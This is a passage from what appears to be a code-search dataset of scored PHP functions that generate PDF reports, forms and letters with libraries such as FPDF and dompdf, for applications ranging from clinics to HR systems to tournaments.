1);\n\t\n\t $pdf->SetXY(54, 128); $pdf->Cell(49, 0, 'podp ment 1 k', 1, 1, 'C', 0, '', 1);\n\t $pdf->SetXY(132, 128); $pdf->Cell(57, 0, 'podp kand 1 k', 1, 1, 'C', 0, '', 1);\n\t \n\t \n\t \n\t \n\t $pdf->SetXY(30, 163);\n\t $pdf->MultiCell(160, 62, '[JUSTIFY] '.\"opombe - konzult -2- \\nopombe2\\nopombe3\".\"\\n\", 1, 'J', 0, 3, '' ,'', true);\t\n\t \n\t \n\t $pdf->SetXY(41, 232); $pdf->Cell(62, 0, '2kon datum', 1, 1, 'C', 0, '', 1);\n\t $pdf->SetXY(54, 240); $pdf->Cell(49, 0, 'podp ment 1 k', 1, 1, 'C', 0, '', 1);\n\t $pdf->SetXY(132, 240); $pdf->Cell(57, 0, 'podp kand 1 k', 1, 1, 'C', 0, '', 1);\n\n}", "title": "" }, { "docid": "4beea887fd6d9647dd4f7785aa8659eb", "score": "0.7245991", "text": "public function cetak()\n {\n $data['admin'] = $this->model_system->view_petugas();\n\n $this->load->library('pdf');\n $this->pdf->setPaper('A4','potrait');\n $this->pdf->filename = 'laporan-petugas.pdf';\n $this->pdf->load_view('pdf_preview', $data);\n\n }", "title": "" }, { "docid": "d04341eec6dc3409ed7df40312126402", "score": "0.7240008", "text": "public function cetak_kartu_anggota()\n{\n\n $id = $this->uri->segment(3);\n\n //load llibrary fpdf\n $data['cetak_kartu'] = $this->db->get_where('anggota', array('id_anggota' => $id))->row();\n $cetak_kartu= $this->db->get_where('anggota', array('id_anggota' => $id))->row();\n\n \n ob_start();\n $content = $this->load->view('admin/kartu_anggota',$data);\n $content = ob_get_clean(); \n $this->load->library('html2pdf');\n try\n {\n $html2pdf = new HTML2PDF('P','A4','fr');\n \n $html2pdf->writeHTML($content, isset($_GET['vuehtml']));\n $html2pdf->Output($cetak_kartu->nama_lengkap.'-'.date('H-i-d-m-Y').'.pdf');\n }\n catch(HTML2PDF_exception $e) {\n echo $e;\n exit;\n }\n \n}", "title": "" }, { "docid": "47fec267800706d4e86c546d068279ee", "score": "0.7235758", "text": "function Header(){\n\t\t\t// $tgl_akhir = date(\"d M Y\", strtotime($_POST[\"tgl_akhir\"]));\n\n\t\t\t// intance object dan memberikan pengaturan halaman PDF\n\t\t\t// $this = new FPDF('p','mm','A4');\n\t\t\t// membuat halaman baru\n\t\t\t// $this->AddPage();\n\t\t\t// setting jenis font yang akan digunakan\n\t\t\t$this->SetFont('Arial','B',16);\n\t\t\t// mencetak string\n\t\t\t$this->Cell(297,7,'ISTANA BLOCK PURWAKARTA',0,1,'C');\n\t\t\t$this->SetFont('Arial','B',12);\n\t\t\t$this->Cell(297,7,'LAPORAN PEMBELI TEMPO BELUM LUNAS',0,1,'C');\n\n\t\t\t// Memberikan space kebawah agar tidak terlalu rapat\n\t\t\t$this->Cell(10,7,'',0,1);\n\n\t\t\t// tanggal laporan\n\t\t\t// $this->Cell(50,8,'Tanggal Laporan',0,0);\n\t\t\t// $this->Cell(50,8,date(\"d M Y\"),0,0);\n\t\t\t// $this->Cell(50,8,'Dari',0,0);\n\t\t\t// $this->Cell(50,8,$tgl_awal,0,0);\n\t\t\t// $this->Cell(50,8,'Sampai',0,0);\n\t\t\t// $this->Cell(50,8,$tgl_akhir,0,1);\n\n\t\t\t$this->Cell(10,7,'',0,1);\n\n\t\t\t$this->SetFont('Arial','B',10);\n\n\t\t\t$this->Cell(20,6,'No',1,0);\n\t\t\t$this->Cell(70,6,'Nama Pembeli',1,0);\n\t\t\t$this->Cell(50,6,'No Transaksi',1,0);\n\t\t\t$this->Cell(50,6,'Jatuh Tempo',1,0);\n\t\t\t$this->Cell(60,6,'Sisa Tagihan',1,1);\n\n\t\t\t$this->SetFont('Arial','',10);\n\t\t}", "title": "" }, { "docid": "49929bbcfb374555f9e05167fee07e3b", "score": "0.7207", "text": "public function JovenesBautizadosPdf(){ \n //primero resto los años: 2020-1996= 24, pero no estamos teniendo en cuenta los meses o dias,\n //entonces, si aun no he llegado a al mes de mayo ni al dia 27, no tengo 24 sino 23, entonces por eso\n //si mes actual y dia son mayor a mi mes y dia de cumpleaños le sumo 0, pero si es menor le resto 1\n $persona = DB::table('personas')\n ->select(DB::raw('nombres, apellidos, fecha_nacimiento, (YEAR(CURDATE())-YEAR(fecha_nacimiento))+ IF(DATE_FORMAT(CURDATE(),\"%m-%d\") >= DATE_FORMAT(fecha_nacimiento,\"%m-%d\"), 0 , -1) as edad_actual, DATE_FORMAT(fecha_nacimiento,\"%m\") as mes, DATE_FORMAT(fecha_nacimiento,\"%d\") as dia'))\n ->where([[\"bautismo\", \"si\"], [\"estado\", \"activo\"]])\n ->whereRaw('(YEAR(CURDATE())-YEAR(fecha_nacimiento))+ IF(DATE_FORMAT(CURDATE(),\"%m-%d\") >= DATE_FORMAT(fecha_nacimiento,\"%m-%d\"), 0 , -1) between 12 and 35')\n ->orderBy(\"mes\")\n ->orderBy(\"dia\")\n ->get();\n \n\n return \\PDF::loadView('secretaria.pdf.pdfJovenesBautizados', compact(\"persona\"))\n ->setPaper('a4', 'portrait')\n ->stream('Sectetaría.pdf'); \n}", "title": "" }, { "docid": "264a5ad8f3e95c6fded706db74a2140f", "score": "0.7206846", "text": "function ordenpago($pdf, $numero, $fecha, $tipo_documento, $pag, $idtipo_documento) {\n\t//\tNUEVA PAGINA CABECERA\n\t$pdf->AddPage();\n\t//\t--------------------\n\tsetLogo($pdf);\n\t//\t--------------------\n\t$pdf->SetFont('Arial', 'B', 9);\n\t$pdf->Cell(15, 4); $pdf->Cell(100, 5, '', 0, 0, 'L');\n\t$pdf->SetFont('Arial', '', 11);\n\t$pdf->Cell(50, 4, utf8_decode('Número: '), 0, 0, 'R');\n\t$pdf->SetFont('Arial', 'B', 11);\n\t$pdf->Cell(35, 4, $numero, 0, 1, 'L');\t\n\t$pdf->SetFont('Arial', 'B', 11);\n\t$pdf->Cell(15, 4); $pdf->Cell(100, 5, '', 0, 0, 'L'); \n\t$pdf->SetFont('Arial', '', 11);\n\t$pdf->Cell(50, 4, 'Fecha: ', 0, 0, 'R'); \n\t$pdf->SetFont('Arial', 'B', 11);\n\tlist($a, $m, $d)=SPLIT( '[/.-]', $fecha); $fecha=$d.\"/\".$m.\"/\".$a;\n\t$pdf->Cell(35, 4, $fecha, 0, 1, 'L');\t \n\t$pdf->SetFont('Arial', '', 11);\n\t$pdf->Cell(165, 4, utf8_decode('Página: '), 0, 0, 'R'); \n\t$pdf->SetFont('Arial', 'B', 11);\n\t$pdf->Cell(35, 4, $pag, 0, 1, 'L'); \n\t/////////////////////////////\n\t$pdf->Ln(10);\n\t$pdf->SetFont('Arial', 'B', 16);\n\t$pdf->Cell(200, 5, 'Orden de Pago', 0, 1, 'C');\n\t$pdf->Cell(200, 7, '', 0, 1, 'C');\n\t/////////////////////////////\n\tgetFootOrdenPago($pdf, $modulo, $tipo_documento, $idtipo_documento);\n}", "title": "" }, { "docid": "9a163c32da2a0ba9ea2ee1147fd2affd", "score": "0.7176718", "text": "public function exportToPdf()\n\t{\n\t\t$data['pengaduan'] = $this->modelsystem->tampil_pengaduanbaru();\n\t\t$this->load->library('pdf');\n\t\t$this->pdf->setPaper('A4', 'potrait');\n\t\t$this->pdf->filename = \"data-pengaduan-baru-\" . date('d-m-y') . \".pdf\";\n\t\t$this->pdf->load_view('printPdf', $data);\n\t}", "title": "" }, { "docid": "17bf064166e64c7c39a7365af1cf1e61", "score": "0.7167878", "text": "public function pesquisaAction(){\n $request = $this->getRequest();\n $data = $request->getPost()->toArray();\n\n //var_dump($data);die();\n\n $list = $this->getEm()->getRepository($this->entity)->moviData($data['dataInicial'],$data['dataFinal']);\n $debito = $this->getEm()->getRepository($this->entity)->totalDebito();\n $credito = $this->getEm()->getRepository($this->entity)->totalCredito();\n $pdf = new FPDF();\n $pdf->AddPage();\n $pdf->SetMargins(10, 10, 10);\n $pdf->SetFont('Arial','B',8);\n // Nome Coluna\n //posiciona verticalmente\n $pdf->SetY(1);\n $pdf->Cell(50,5,'Movimento do Caixa do Periodo.:',0,0,'L');\n $datas = explode('-', $data['dataInicial']);\n $dataInicio = $datas[2] . '/'.$datas[1].'/'.$datas[0];\n $dataInicioP = $datas[2] . '-'.$datas[1].'-'.$datas[0];\n $pdf->Cell(18 ,5,$dataInicio,0,0,'L');\n $pdf->Cell(5,5,'à',0,0,'L');\n $datas = explode('-', $data['dataFinal']);\n $dataFinal = $datas[2] . '/'.$datas[1].'/'.$datas[0];\n $dataFinalP = $datas[2] . '-'.$datas[1].'-'.$datas[0];\n $pdf->Cell(18 ,5,$dataFinal,0,0,'L');\n\n\n $pdf->SetY(\"10\");\n //posiciona horizontalmente\n $pdf->SetX(\"1\");\n $pdf->Cell(10,5,'Id.:',0,0,'L');\n $pdf->Cell(70,5,'Nome.:',0,0,'L');\n $pdf->Cell(70,5,'Discriminação.:',0,0,'L');\n $pdf->Cell(20,5,'Valor.:',0,0,'L');\n $pdf->Cell(20,5,'Tipo.:',0,0,'L');\n //$pdf->Line(70, 48, 70, 23);\n\n // Valore das Colunas\n /**\n * @var $entity \\Pax\\Entity\\PaxMovimentoCaixa\n */\n $linha = 1;\n //$pdf->SetY(10);\n foreach($list as $entity):\n $possicao = 15 + $linha;\n //posiciona verticalmente\n $pdf->SetY($possicao);\n //posiciona horizontalmente\n $pdf->SetX(\"1\");\n $pdf->Cell(10,5,$entity->getId(),0,0,'L');\n //$pdf->SetX(20);\n $pdf->Cell(70,5,$entity->getCredor(),0,0,'L');\n $pdf->Cell(70,5,$entity->getDiscriminacao(),0,0,'L');\n $pdf->Cell(20,5,$entity->getValorLancado(),0,0,'L');\n $pdf->Cell(20,5,($entity->getTipo() == 'D')? 'Debito' : 'Credito',0,0,'L');\n $linha += 5;\n $linha++;\n endforeach;\n\n $linha = $possicao + 10;\n //posiciona verticalmente\n $pdf->SetY($linha);\n //posiciona horizontalmente\n $pdf->SetX(\"1\");\n $pdf->Cell(15,5,'Debito.:',0,0,'L');\n $pdf->Cell(30,5,$debito[0][1],0,0,'L');\n $pdf->Cell(15,5,'Credito.:',0,0,'L');\n $pdf->Cell(15,5,$credito[0][1],0,0,'L');\n $total = $debito[0][1] - $credito[0][1];\n $pdf->Cell(10,5,'Total.:',0,0,'C');\n $pdf->Cell(15,5,$total,0,0,'C');\n $nome = \"Movimento do Caixa_\".$dataInicioP.'_'.$dataFinalP.'.pdf';\n //var_dump($nome);die();\n $pdf->Output($nome, \"D\");\n // To set view variables\n\n //die();\n\n return new ViewModel(array('data' => $list) );\n\n }", "title": "" }, { "docid": "7888d0ae8ad766a12e01066e72b25169", "score": "0.7166337", "text": "public function programacionPdf(Request $request, $idtorneo){\n $protorneo = DB::table('programacions as a')\n ->join('torneos as b','a.idtorneo','=','b.id')\n ->select('b.nombre as torneo')\n ->where('b.id', '=', $idtorneo)\n ->orderBy('a.id','asc')->take(1)->get();\n\n $programacion = DB::table('programacions as a')\n ->join('equipos as equipoa','a.equipo_a','=','equipoa.id')\n ->join('equipos as equipob', 'a.equipo_b','=','equipob.id') \n ->join('torneos as c','a.idtorneo','=','c.id')\n ->select('a.id','a.jornada','equipoa.nombre as equipoA','equipob.nombre as equipoB','a.puntaje_a','a.puntaje_b','a.fecha','a.hora') \n ->where('c.id','=',$idtorneo)\n ->orderBy('a.id','asc')\n ->get();\n $pdf = \\PDF::loadView('pdf.programacion',['protorneo'=>$protorneo, 'propartido'=>$programacion]);\n return $pdf->stream('programacion.pdf');\n /*SELECT a.id, a.jornada, equipoa.nombre, equipob.nombre,c.nombre from programacions as a \n INNER JOIN equipos as equipoa on a.equipo_a =equipoa.id \n INNER JOIN equipos as equipob ON a.equipo_b=equipob.id\n inner JOIN torneos as c on a.idtorneo= c.id*/\n }", "title": "" }, { "docid": "79b0d1c016c30a6e89fb262bd6a42149", "score": "0.71634537", "text": "public function printPDF()\n {\n $nomor = DB::table('antrian')\n ->where('jadwal_id', '=', 2)\n ->where('is_finished', '=', true)\n ->get();\n \n \t$pdf = PDF::loadview('user.main.antrian_pdf',['nomor'=>$nomor]);\n \treturn $pdf->download('antrian-klinik-sehat');\n }", "title": "" }, { "docid": "76c4372de0a0642b8b297be1e0927b26", "score": "0.7156997", "text": "public function getStrRptAtencionPacienteGeneral()\r\n {\r\n define('FPDF_FONTPATH',FONT_PATH);\r\n include_once ( CLASS_PATH . \"class.clfpdf.php\" );\r\n\r\n //Limpia el buffer si no sale un error\r\n ob_end_clean();\r\n\r\n $fechaimpresion = date(\"Y/m/d H:i:s a\");\r\n\r\n\r\n //create a FPDF object\r\n $pdf = new FPDF('P' , 'mm' , 'A4');\r\n\r\n //set document properties\r\n $pdf->SetAuthor('CPCH - KOICA');\r\n $pdf->SetTitle('Recibo Servicio');\r\n\r\n //encabezado\r\n $pdf->setStrTipoEncabezado(7);\r\n $pdf->Header();\r\n //\r\n //Envia a otra pagina\r\n $pdf->setAutoPagebreak(true,'');\r\n\r\n //set font for the entire document\r\n $pdf->SetFont('Arial','B',35);\r\n $pdf->SetTextColor(50,60,100);\r\n\r\n //set up a page\r\n $pdf->AddPage('L');\r\n $pdf->SetDisplayMode(75,'default');\r\n\r\n //insert an image and make it a link\r\n //$pdf->Image('logo.png',10,20,33,0,' ','http://www.fpdf.org/');\r\n\r\n $query = new clQuery();\r\n\r\n //Nombre Procedimientos Almacenados\r\n $ProcedimientoAlmacenado = sprintf(\"CALL sprptatencionpacientegeneral('%s','%s');\", $this->getStrFechaInicio(), $this->getStrFechaFin());\r\n $query->setStrProcedimientoAlmacenado($ProcedimientoAlmacenado);\r\n $resultado = $query->getStrSqlSelect();\r\n\r\n if( count($resultado) > 0 ) {\r\n $i = 0;\r\n $j = 0;\r\n foreach( $resultado as $rst):\r\n $j = $j + 1;\r\n\r\n if ($i == 0){\r\n $pdf->Ln(2);\r\n\r\n $pdf->SetFont('Arial','B',7);\r\n $pdf->Cell(10,6,utf8_decode('N°'),1,0,'C',0);\r\n $pdf->Cell(15,6,utf8_decode('Fec. Vis.'),1,0,'C',0);\r\n $pdf->Cell(10,6,utf8_decode('NHC'),1,0,'C',0);\r\n $pdf->Cell(60,6,utf8_decode('Paciente'),1,0,'C',0);\r\n $pdf->Cell(10,6,utf8_decode('Sexo'),1,0,'C',0);\r\n $pdf->Cell(15,6,utf8_decode('Fec. Nac.'),1,0,'C',0);\r\n $pdf->Cell(30,6,utf8_decode('Departamento'),1,0,'C',0);\r\n $pdf->Cell(60,6,utf8_decode('Unidad'),1,0,'C',0);\r\n $pdf->Cell(15,6,utf8_decode('Edades'),1,0,'C',0);\r\n $pdf->Cell(52,6,utf8_decode('Médico'),1,1,'C',0);\r\n\r\n $i = 1;\r\n }\r\n\r\n $NHC = \"\";\r\n switch (strlen($rst[\"nhc\"])){\r\n case 1:\r\n $NHC = \"0000\".$rst[\"nhc\"];\r\n break;\r\n case 2:\r\n $NHC = \"000\".$rst[\"nhc\"];\r\n break;\r\n case 3:\r\n $NHC = \"00\".$rst[\"nhc\"];\r\n break;\r\n case 4:\r\n $NHC = \"0\".$rst[\"nhc\"];\r\n break;\r\n default:\r\n $NHC = $rst[\"nhc\"];\r\n break;\r\n }\r\n\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(10,5,$j,1,0,'C',0);\r\n $pdf->Cell(15,5,$rst[\"fecha\"],1,0,'C',0);\r\n $pdf->Cell(10,5,$NHC,1,0,'C',0);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"paciente\"])),1,0,'L',0);\r\n $pdf->Cell(10,5,utf8_decode(utf8_encode($rst[\"sexo\"])),1,0,'C',0);\r\n $pdf->Cell(15,5,utf8_decode(utf8_encode($rst[\"fechanacimiento\"])),1,0,'L',0);\r\n $pdf->Cell(30,5,utf8_decode(utf8_encode($rst[\"departamento\"])),1,0,'L',0);\r\n $pdf->Cell(60,5,utf8_decode(utf8_encode($rst[\"unidad\"])),1,0,'L',0);\r\n $pdf->Cell(15,5,utf8_decode(utf8_encode($rst[\"subarea\"])),1,0,'L',0);\r\n $pdf->Cell(52,5,utf8_decode(utf8_encode($rst[\"medico\"])),1,1,'L',0);\r\n endforeach;\r\n\r\n //Fecha Impresion\r\n $pdf->Ln(1);\r\n $pdf->SetFont('Arial','B',6);\r\n $pdf->Cell(20,4,utf8_decode('Fecha Impresión:'),0,0,'L',0);\r\n $pdf->SetFont('Arial','',6);\r\n $pdf->Cell(20,4,\" \".utf8_decode($fechaimpresion),0,1,'L',0);\r\n\r\n\r\n// $pdf->Ln(20);\r\n// $pdf->SetFont('Arial','B',10);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,'________________________________',0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,'________________________________',0,1,'C',0);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,utf8_decode(RESPONSABLE),0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,utf8_decode(TESORERO),0,1,'C',0);\r\n// $pdf->SetX (40);\r\n// $pdf->Cell(50,4,'RESPONSABLE',0,0,'C',0);\r\n// $pdf->Cell(40,4,'',0,0,'C',0);\r\n// $pdf->Cell(50,4,'TESORERO',0,1,'C',0);\r\n\r\n }else{\r\n //Set x and y position for the main text, reduce font size and write content\r\n $pdf->SetXY (30,100);\r\n $pdf->SetFontSize(8);\r\n $pdf->Write(5,utf8_decode(' No existe Informacion registrada'));\r\n }\r\n\r\n //Pie Pagina\r\n $pdf->Footer();\r\n\r\n //Para poner la Pagina 1/(1...n)\r\n $pdf->AliasNbPages();\r\n\r\n //Output the document\r\n $fecha = date(\"YmdHis\").'.pdf';\r\n $pdf->Output($fecha,'D');\r\n\r\n }", "title": "" }, { "docid": "a427b97259f263ab92305dc937513f4c", "score": "0.71557", "text": "public function laporanEockontrak()\n {\n // $dataeoc = $this->M_Laporan->getEocKontrak();\n $this->db->select('*');\n $this->db->from('tb_kontrak');\n $this->db->join('tb_karyawan','tb_karyawan.email=tb_kontrak.email','left');\n $this->db->where('tb_kontrak.end <=',\"CURDATE() + INTERVAL 30 DAY\",false); \n $this->db->where('tb_karyawan.id_jab !=','J000'); \n $this->db->where('tb_karyawan.stat_kar !=','T'); \n $this->db->where('tb_kontrak.status !=','N'); \n $this->db->order_by('tb_kontrak.end','ASC');\n $dataeoc = $this->db->get()->result();\n\n /* TEMPLATE HEADER */ // harus dipakai di setiap bentuk laporan\n $pdf = new PDF('P');\n $pdf->AddPage(); \n /* ./ TEMPLATE HEADER */ \n \n // Title Page\n $pdf->SetFont('Arial','',10);\n $pdf->SetTitle('BiasHRIS | Daftar EOC Expire');\n\n // JUDUL FORM & No PEngajuan\n // $pdf->Cell(10,7,'',0,1);\n // $pdf->SetTextColor(0,0,0);\n $pdf->SetFont('Arial','B',12);\n $pdf->Cell(190,7,'Daftar EOC Kurang dari 30 Hari',0,1,'C');\n // Table\n // Header Table\n $pdf->SetLeftMargin('15');\n $pdf->Cell(190,7,'',0,1,'J');\n $pdf->SetFillColor(158, 156, 156);\n $pdf->SetLineWidth(.3);\n $pdf->SetFont('Arial','B',12);\n $pdf->Cell(10,8,'No',1,0,'C',1);\n $pdf->Cell(35,8,'NIP',1,0,'C',1);\n $pdf->Cell(60,8,'Nama',1,0,'C',1);\n $pdf->Cell(35,8,'PKWT',1,0,'C',1);\n $pdf->Cell(45,8,'Tanggal EOC',1,1,'C',1);\n $no = 1;\n $pdf->SetFont('Arial','',12);\n foreach($dataeoc as $data){\n $pdf->Cell(10,7,$no++,1,0,'C');\n $pdf->Cell(35,7,$data->nip,1,0,'C');\n $pdf->Cell(60,7,$data->fullname,1,0,'C');\n $pdf->Cell(35,7,$data->periodepkwt,1,0,'C');\n $pdf->Cell(45,7,date('d-m-Y',strtotime($data->end)),1,1,'C');\n \n }\n\n\n /** TEMPLATE FOOTER dan output */ // harus dipakai di setiap bentuk laporan\n $pdf->AliasNbPages();\n $pdf->Output();\n /** ./ TEMPLATE FOOTER dan output */\n }", "title": "" }, { "docid": "8b600a0007f64584ddf6d5e32affeafc", "score": "0.7153936", "text": "public function pdf()\n {\n $this->load->model('talleres_model');\n // Se carga la libreria fpdf\n $this->load->library('pdf');\n \n $curso=$_POST['curso'];\n $tipoTaller=$_POST['tipoTaller'][0];\n $periodo=\"\";//$_POST['periodoCheckbox'][0];\n /*\n echo '<br>$curso '.$curso;\n echo '<br>$tipoTaller '.$tipoTaller;\n echo '<br>$periodo '.$periodo;\n * \n */\n //log_message('INFO',$curso.' '.$tipoTaller.' '.$periodo);\n //$\n //\n $textoPeriodo=\"\"; //$this->talleres_model->getTextoPeriodo($periodo);\n // Se obtienen los alumnos de la base de datos\n $talleres = $this->talleres_model->getResumenTalleres($curso,$tipoTaller,$periodo);\n //var_dump($talleres);\n \n \n \n // Creacion del PDF\n \n /*\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\n * heredó todos las variables y métodos de fpdf\n */\n $this->pdf = new Pdf();\n \n $this->pdf->setSubtitulo(utf8_decode('Tallers '.$tipoTaller.' curs: '.$this->talleres_model->getNombreCurso($curso).' '.$textoPeriodo));\n \n // Agregamos una página\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n \n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(\"Resumen talleres \".$this->talleres_model->getNombreCurso($curso));\n $this->pdf->SetLeftMargin(15);\n $this->pdf->SetRightMargin(15);\n $this->pdf->SetFillColor(200,200,200);\n \n // Se define el formato de fuente: Arial, negritas, tamaño 9\n $this->pdf->SetFont('Arial', 'B', 9);\n /*\n * TITULOS DE COLUMNAS\n *\n * $this->pdf->Cell(Ancho, Alto,texto,borde,posición,alineación,relleno);\n */\n \n $this->pdf->Cell(15,7,'NUM','TBL',0,'C','1');\n $this->pdf->Cell(75,7,'TALLER','TBR',0,'L','1');\n $this->pdf->Cell(25,7,'ASSISTENTS','TBR',0,'L','1');\n $this->pdf->Cell(25,7,'TOTALS EUR','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'ASISTENTES','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'TOTALES EUR','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'ASISTENTES','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'TOTALES EUR','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'ASISTENTES','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'TOTALES EUR','TBR',0,'L','1');\n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(40,7,'','TB',0,'C','1');\n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(25,7,'','TBR',0,'C','1');\n $this->pdf->Ln(7);\n // La variable $x se utiliza para mostrar un número consecutivo\n $x = 1;\n $num=0;\n $numAsistentes=0;\n $total=0;\n foreach ($talleres as $k=>$taller) {\n $this->pdf->Cell(15,5,$taller['id'],'BL',0,'C',0);\n //$this->pdf->Cell(20,5,'2016-2017','BL',0,'C',0);\n\n // Se imprimen los datos de cada alumno\n $this->pdf->Cell(75,5,utf8_decode($taller['nombre']),'BLR',0,'L',0);\n $this->pdf->Cell(25,5,$taller['numAsistentes']==0?'':$taller['numAsistentes'].' ','BLR',0,'R',0);\n $this->pdf->Cell(25,5,$taller['total']==0?'':$taller['total'].' ','BLR',0,'R',0);\n //Se agrega un salto de linea\n $this->pdf->Ln(5);\n $num++;\n $numAsistentes+=$taller['numAsistentes'];\n $total+=$taller['total'];\n }\n $this->pdf->Ln(1);\n $this->pdf->Cell(15,5,'','TBLR',0,'C',0);\n //$this->pdf->Cell(20,5,'2016-2017','BL',0,'C',0);\n\n // Se imprimen los datos de cada alumno\n $this->pdf->Cell(75,5,$num,'TBLR',0,'L',0);\n $this->pdf->Cell(25,5,$numAsistentes.' ','TBLR',0,'R',0);\n $this->pdf->Cell(25,5,$total.' ','TBLR',0,'R',0);\n //Se agrega un salto de linea\n $this->pdf->Ln(5);\n \n \n /*\n * Se manda el pdf al navegador\n *\n * $this->pdf->Output(nombredelarchivo, destino);\n *\n * I = Muestra el pdf en el navegador\n * D = Envia el pdf para descarga\n *\n */\n $this->pdf->Output(\"Talleres \".$this->talleres_model->getNombreCurso($curso).\".pdf\", 'D');\n }", "title": "" }, { "docid": "617f9e71a955888083f5780fd95871e8", "score": "0.7142512", "text": "function validarCyC_AprobadosVigentes(){\n $pdf = new FPDF();\n $pdf->AddPage();\n \n $pdf->Image($this->base.\"assets/images/logo.png\",10,8,185,32);\n \n $pdf->SetFont('Arial','B',10);\n $pdf->ln(35);\n $pdf->cell(105);\n \n // Información de cabecera parte derecha\n \n $pdf->Cell(30,5,utf8_decode('Oficio No.'),0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n \n $pdf->Cell(30,5,utf8_decode('{Número de folio}'));\n $pdf->Ln();\n $pdf->SetFont('Arial','B',10);\n $pdf->cell(100);\n $pdf->Cell(30,5,'Asunto:',0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n $pdf->Cell(30,5,utf8_decode('Solicitud de documentación'));\n $pdf->Ln();\n $pdf->cell(128);\n $pdf->Cell(30,5,utf8_decode('trámite de ingreso al RNPSP'));\n $pdf->Ln();\n $pdf->cell(97);\n $pdf->Cell(30,5,utf8_decode('{Fecha y lugar formato: Colima, Colima , a 25 de Junio de 2018}'));\n $pdf->Ln(10);\n \n \n // Datos del remitente\n $pdf->SetFont('Arial','B',10);\n \n $pdf->Cell(30,5,utf8_decode('{Nombre de quien va dirigido}'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('DIRECTOR DEL CENTRO ESTATAL DE EVALUACIÓN Y CONTROL DE CONFIANZA,'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('PRESENTE.'));\n $pdf->Ln(10);\n \n // Comunicado\n $pdf->SetFont('Arial','',10);\n \n \n $pdf->MultiCell(185,5,utf8_decode(\"Por instrucciones del Encargado del despacho del Secretariado Ejecutivo del Sistema Estatal de Seguridad Pública, {Nombre del encargado del SESESP}, y con fundamento en el numeral 20 y demás relativos a la Ley del Sistema de Seguridad Pública para el Estado de Colima, y con el objetivo de dar cumplimiento al requisito señalado en los artículos 39, apartado B, fracción VIII, apartado B, fracción VI de la LGSNSP, para el registro de personal al Registro Nacional de Personal de Seguridad Pública (RNPSP) , me permito solicitar la validación que certifique que el personal enlistado posee controles de confianza aprobados y vigentes.\"));\n \n $pdf->Ln(5);\n $pdf->SetFont('Arial','B',10);\n \n $pdf->Cell(30,5,utf8_decode('PEP'));\n \n // Tabla \n \n $pdf->Ln(10);\n $pdf->cell(10);\n \n // Headers\n $pdf->Cell(8,7,\"No.\",1);\n $pdf->Cell(72,7,\"Nombre\",1);\n $pdf->Cell(8,7,\"No.\",1);\n $pdf->Cell(72,7,\"Nombre\",1);\n $pdf->Ln();\n // Data\n $pdf->SetFont('Arial','',7);\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln();\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln();\n $pdf->cell(10);\n $pdf->Cell(8,6,1,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Cell(8,6,4,1);\n $pdf->Cell(72,6,\"\",1);\n $pdf->Ln(10);\n $pdf->SetFont('Arial','',10);\n $pdf->cell(12);\n $pdf->Cell(30,5,utf8_decode('Sin otro particular hago propicia la ocasión para hacerle llegar un cordial saludo'));\n \n $pdf->Ln(10);\n $pdf->SetFont('Arial','B',8);\n \n $pdf->Cell(0,5,utf8_decode('A T E N T A M E N T E'), 0, 0, 'C');\n $pdf->Ln();\n\n $pdf->Cell(0,5,utf8_decode('EL {Cargo de quien solicita}'),0,0, 'C');\n\n \n $pdf->Ln(25);\n $pdf->Cell(0,0,utf8_decode('{Nombre de quien solicita}'),0,0, 'C');\n \n $pdf->Ln();\n \n $pdf->SetFont('Arial','',8);\n $pdf->Cell(30,5,utf8_decode('C.c.p.'));\n $pdf->Ln(10);\n $pdf->SetFont('Arial','B',6);\n $pdf->Cell(30,5,utf8_decode('{Nombre del encargado del SESP}'));\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(18);\n $pdf->Cell(30,5,utf8_decode('Encargado del despacho del Secretariado Ejecutivo del SESP'));\n $pdf->Ln();\n $pdf->SetFont('Arial','B',6);\n $pdf->Cell(30,5,utf8_decode('{Npmbre del coordinador de SI}'));\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(18);\n $pdf->Cell(30,5,utf8_decode('Subcoordinador de Sistemas de Información del SESESP.- Igual fin.'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('Archivo.'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('JACHG/HHCHD/NAVA'));\n \n $pdf->Ln(5);\n $pdf->Cell(52);\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('\"Año 2018. Centenario del natalicio del escritor mexicano y universal Juan José Arreola\"'));\n $pdf->Ln();\n $pdf->Image($this->base.\"assets/images/Cintillo.png\",72,238,65,1);\n \n $pdf->SetFont('Arial','',6);\n 